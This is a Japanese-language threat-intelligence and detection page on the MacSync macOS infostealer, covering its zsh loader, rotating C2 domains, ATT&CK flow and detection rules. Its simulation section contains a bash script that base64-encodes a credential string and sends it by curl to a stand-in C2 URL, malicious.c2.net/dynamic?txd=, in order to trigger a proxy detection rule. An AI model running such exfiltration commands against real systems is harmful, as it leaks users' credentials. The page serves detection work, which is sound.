MacSync スティーラーが回転する C2 インフラストラクチャを使用
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
MacSync Stealerは、マルウェア-as-a-serviceモデルを通じて提供されるmacOS情報窃取型マルウェアです。それはマルチステージ zsh ローダーに依存し、盗まれた情報、パスワードや暗号通貨のウォレット資格情報を漏洩させるために、コマンド・アンド・コントロールドメインの回転プールにアクセスします。ローダーは、クエリ文字列パラメーターを通じてクリアテキストのパスワードを送信し、10 MiBのチャンクで収集されたデータのZIPアーカイブをアップロードします。そのインフラストラクチャの回転戦略は、複数のドメインで再利用される静的なAPIキーと、ビルドごとの16進トークンに依存しています。
調査
RST Cloudは、新しく登録されたドメイン jacksonvillemma.com からのダウンロード試行を検出し、1時間以内にステージ2 zsh ローダーを捕捉しました。静的解析により、ローダーのトークン、APIキー、およびコマンド・アンド・コントロールパスのトリオが露見しました: /curl, /dynamic、および /gate。これらのURIパターンに基づく追加のピボットにより、2026年2月から5月の間に活動している約12のコマンド・アンド・コントロールドメインのクラスターが明らかになりました。そのうちの4つのドメインは同じAPIキーを共有していることが確認され、他のドメインはURIの動作が一致することでリンクしていました。
緩和策
防御者は、すべての既知のMacSyncコマンド・アンド・コントロールドメインをブロックし、マルウェアが使用する特有のURLパスパターンを監視するべきです。プロキシとDNSログは、以下を含むリクエストやローダーに関連付けられた短縮されたChromeライクなmacOSユーザーエージェント文字列について確認するべきです。 /curl, /dynamic、および /gate、また /tmp/osalogging.zip の作成を検出し、実行する zsh プロセスを監視してください。 base64 -D, gunzip、および eval の組み合わせもチェックしてください。
対応策
一致するインジケータが見つかった場合、感染したエンドポイントを直ちに隔離し、悪意のある zsh プロセスを終了し、AppleScriptペイロードの分析用にメモリを収集してください。露出したユーザーパスワードをリセットし、macOSキーチェーンに保存された侵害された資格情報を無効にしてください。検出ロジックも、観察されたトークン、APIキー、およびユーザーエージェントパターンで更新して、将来の侵害リスクを減らすべきです。
"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#cccccc classDef process fill:#ccffcc %% Nodes initial_access_phishing["<b>Technique</b> – T1566 Phishing<br/><b>Description</b>: Malvertising delivers a script that runs curl to fetch the Stageu202f2 Zsh loader from a C2 domain."] class initial_access_phishing action tool_curl["<b>Tool</b> – curl<br/><b>Description</b>: Commandu2011line utility used to download the Stageu202f2 loader."] class tool_curl tool defense_obfuscate_compile["<b>Technique</b> – T1027.004 Compile After Delivery<br/><b>Description</b>: Zsh wrapper contains a base64u2011gzip payload that is decoded and executed with eval."] class defense_obfuscate_compile action defense_embedded_payload["<b>Technique</b> – T1027.009 Embedded Payloads<br/><b>Description</b>: Payload is embedded as a base64u2011encoded, gzipu2011compressed blob inside the wrapper."] class defense_embedded_payload action defense_stripped_payload["<b>Technique</b> – T1027.008 Stripped Payloads<br/><b>Description</b>: Wrapper is stripped of identifiable strings, relying on runtime decoding."] class defense_stripped_payload action defense_dynamic_api["<b>Technique</b> – T1027.007 Dynamic API Resolution<br/><b>Description</b>: HTTP requests include a static apiu2011key header and a custom truncated Useru2011Agent."] class defense_dynamic_api action execution_shared_modules["<b>Technique</b> – T1129 Shared Modules<br/><b>Description</b>: Decoded script is executed as a background Zsh function via eval."] class execution_shared_modules action process_zsh["<b>Process</b> – Zsh<br/><b>Description</b>: Shell used to run the decoded malicious function."] class process_zsh process cred_os_dumping["<b>Technique</b> – T1003 OS Credential Dumping<br/><b>Description</b>: AppleScript retrieved from C2 extracts macOS Keychain entries."] class cred_os_dumping action cred_browser["<b>Technique</b> – T1555.003 Credentials from Web Browsers<br/><b>Description</b>: Same AppleScript harvests stored credentials from Chromium browsers and cryptou2011wallet extensions."] class cred_browser action cred_unsecured_files["<b>Technique</b> – T1552.001 Unsecured Credentials in Files<br/><b>Description</b>: Harvested data written to /tmp/osalogging.zip before exfiltration."] class cred_unsecured_files action file_archive["<b>File</b> – /tmp/osalogging.zip<br/><b>Description</b>: Zip archive containing collected credentials."] class file_archive file collection_archive["<b>Technique</b> – T1560 Archive Collected Data<br/><b>Description</b>: Data compressed into a zip archive for staging."] class collection_archive action command_control_dynamic["<b>Technique</b> – T1568 Dynamic Resolution<br/><b>Description</b>: Malware contacts C2 using HTTP paths discovered via pattern matching."] class command_control_dynamic action cred_valid_accounts["<b>Technique</b> – T1078 Valid Accounts<br/><b>Description</b>: User macOS password sent in cleartext via u201c&pwd=u201d query parameter, giving attacker legitimate credentials."] class cred_valid_accounts action %% Connections initial_access_phishing –>|uses| tool_curl tool_curl –>|delivers| defense_obfuscate_compile defense_obfuscate_compile –>|includes| defense_embedded_payload defense_embedded_payload –>|includes| defense_stripped_payload defense_stripped_payload –>|uses| defense_dynamic_api defense_dynamic_api –>|enables| execution_shared_modules execution_shared_modules –>|executes| process_zsh process_zsh –>|runs| cred_os_dumping cred_os_dumping –>|runs| cred_browser cred_browser –>|writes to| cred_unsecured_files cred_unsecured_files –>|creates| file_archive file_archive –>|used by| collection_archive collection_archive –>|sent to| command_control_dynamic command_control_dynamic –>|provides| cred_valid_accounts "
攻撃フロー
検出
Base64エンコードされた文字列操作の可能性 [MacOS] (コマンドライン経由)
表示
疑わしいCurl実行試行 [MacOS] (コマンドライン経由)
表示
MacOS一時フォルダーでアーカイブが作成されました(file_event経由)
表示
IOC (HashSha256)の検出:MacSync Stealer:C2インフラストラクチャの回転
表示
IOC (HashSha1)の検出:MacSync Stealer:C2インフラストラクチャの回転
表示
IOC (HashMd5)の検出:MacSync Stealer:C2インフラストラクチャの回転
表示
MacSync Stealer C2通信検出 [プロキシ]
表示
シミュレーション実行
前提条件:テレメトリおよびベースラインの事前フライトチェックが合格する必要があります。
基本理念:このセクションでは、検出ルールをトリガーするために設計された敵の技術的手法(TTP)の正確な実行について詳細に説明します。コマンドとナラティブは、識別されたTTPsを直接反映し、検出ロジックによって期待されるテレメトリを正確に生成することを目的とします。
-
攻撃のナラティブとコマンド:
攻撃者は、感染したmacOSワークステーションにMacSync stealerバイナリをデプロイしました。stealerは現在のユーザーのmacOSキーチェーンパスワードを抽出し、base64でエンコードし、HTTP GETリクエストを通じて企業のプロキシを経由して転送します。このリクエストは既知のC2エンドポイントをターゲットにしますhttps://malicious.c2.net/dynamic?txd=<payload>。プロキシは完全なURLを記録するため、検出ルールはdynamic?txd=部分文字列を検出し、アラートを上げます。 -
回帰テストスクリプト:
#!/bin/bash # macsync_stealer_simulation.sh # MacSync stealerのC2通信をシミュレートして検出ルールをトリガーします。 PROXY="http://proxy.corp.local:3128" C2_BASE="https://malicious.c2.net/dynamic?txd=" # 1️⃣ モックのパスワードを抽出(デモ用途では現在のユーザー名を使用) PASSWORD="$(whoami):P@ssw0rd!" # 2️⃣ 資格情報をbase64でエンコード(MacSyncのエンコードステップをエミュレート) ENCODED=$(printf "%s" "$PASSWORD" | base64) # 3️⃣ 完全な悪意のあるURLを構築 MALICIOUS_URL="${C2_BASE}${ENCODED}" # 4️⃣ 企業プロキシ経由でリクエストを送信 curl -x "$PROXY" "$MALICIOUS_URL" -A "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15" echo "シミュレーション実行 - ペイロードが$MALICIOUS_URLに送信されました" -
クリーンアップコマンド:
# 一時ファイルを削除(作成されていない)し、必要に応じてプロキシキャッシュをパージ echo "シミュレーションのアーティファクトをクリーニング..." # Squidを使用している場合、キャッシュからURLをパージして繰り返しヒットを避ける sudo squidclient -m PURGE "https://malicious.c2.net/dynamic?txd=*"